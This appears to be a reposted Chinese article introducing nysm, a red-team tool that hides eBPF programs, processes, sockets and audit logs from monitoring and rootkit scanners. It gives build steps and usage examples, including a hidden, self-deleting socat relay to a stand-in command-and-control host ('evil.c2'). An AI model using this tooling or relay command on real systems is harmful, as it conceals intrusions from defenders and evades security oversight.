nysm：一款针对红队审计的隐蔽型后渗透安全测试容器
关于nysm
nysm是一款针对红队审计的隐蔽型后渗透安全测试容器，该工具主要针对的是eBPF，能够帮助广大红队研究人员在后渗透测试场景下保持eBPF的隐蔽性。
功能特性
随着基于eBPF的安全工具越来越受社区欢迎，nysm也应运而生。该工具能保持各种安全测试工具的隐蔽性，当前版本的nysm支持隐藏下列内容：
1、新的eBPF程序； 2、新的eBPF Map； 3、新的eBPF链接； 4、新的审计生成日志； 5、新的进程PID； 6、新的会话套接字；
除了隐藏eBPF之外，当前版本的nysm还支持隐藏下列工具组件：
bpftool bpflist-bpfcc ps top sockstat rkhunter chkrootkit lsof auditd ...
工具安装
源码获取：
广大研究人员可以直接使用下列命令将该项目源码克隆至本地：
git clone https://github.com/eeriedusk/nysm.git
工具依赖组件安装：
sudo apt install git make pkg-config libelf-dev clang llvm bpftool -y
Linux Header配置：
cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
代码构建：
cd ./nysm/src/
make
工具使用
nysm的使用非常简单，并提供了下列参数命令：
Usage: nysm [OPTION...] COMMAND
Stealth eBPF container.
-d, --detach 在后台运行命令
-r, --rm 执行后执行自毁程序
-v, --verbose 生成Verbose模式输出
-h, --help 显示工具帮助信息
--usage 显示工具使用提示消息
工具使用样例
运行一个隐藏的Bash：
./nysm bash
运行一个隐藏的ssh并移除./nysm：
./nysm -r ssh user@domain
以守护进程形式运行一个隐藏的socat并移除./nysm：
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443
许可证协议
本项目的开发与发布遵循Apache-2.0开源许可证协议。
项目地址
nysm：
https://github.com/eeriedusk/nysm
本文参与 腾讯云自媒体分享计划，分享自微信公众号。
原始发表：2024-03-25，如有侵权请联系 cloudcommunity@tencent.com 删除
评论
登录后参与评论
推荐阅读